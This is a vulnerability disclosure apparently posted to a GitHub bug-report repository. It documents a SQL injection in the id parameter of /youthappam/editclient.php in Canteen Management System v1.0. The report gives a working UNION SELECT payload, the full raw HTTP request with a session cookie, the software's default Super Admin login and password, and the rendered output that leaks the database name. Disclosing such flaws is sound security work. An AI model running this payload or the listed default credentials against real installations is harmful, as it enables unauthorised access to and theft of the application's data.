

main

...

bug_report / vendors / mayuri_k / canteen-management-system / SQLi-2.md



songyangqi Create SQLi-2.md

History

1 contributor

31 lines (21 sloc) | 1.1 KB

...

Canteen Management System v1.0 by mayuri_k has SQL injection

BUG_Author: songyangqi

vendors: <https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html>

The program is built using the xmapp-php8.1 version

Login account: mayuri.infospace@gmail.com/rootadmin (Super Admin account)

Vulnerability File: /youthappam/editclient.php

Vulnerability location: /youthappam/editclient.php, id

dbname =youthappam,length=10

[+] Payload: /youthappam/editclient.php?

id=-1%27%20union%20select%201,database(),3,4,5,6,7,8--+ // Leak place ---> id

GET /youthappam/editclient.php?id=-1%27%20union%20select%201,database(),3,4,5,6,7,8-

Host: 192.168.1.88

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.

Accept: **text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8**

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: PHPSESSID=1f9hph2449vgrcadcct2jgd8ne

Connection: close

Load URL

Split URL

Execute

http://192.168.1.88/youthappam/editclient.php?id=-1' union select 1,database(),3,4,5,6,7,8--+

☐ Post data

☐ Referrer

☐ 0xHEX

☐ %URL

☐ BASE64

☐ Insert string to replace

☐ Insert replacing string

☒ Replace All

Youthappam

PROJECT BY MAYURI K.

This Project

HOME

Dashboard

Customer

Food Category

Food

Invoices

Reports

Setting

Know More

Other Projects

Edit Client Management

Name

youthappam

Gender

Female

Mobile No

4

Referring

5

Address

6

Home > Client Brand

Copyright © 2022 Project Develop by Mayuri K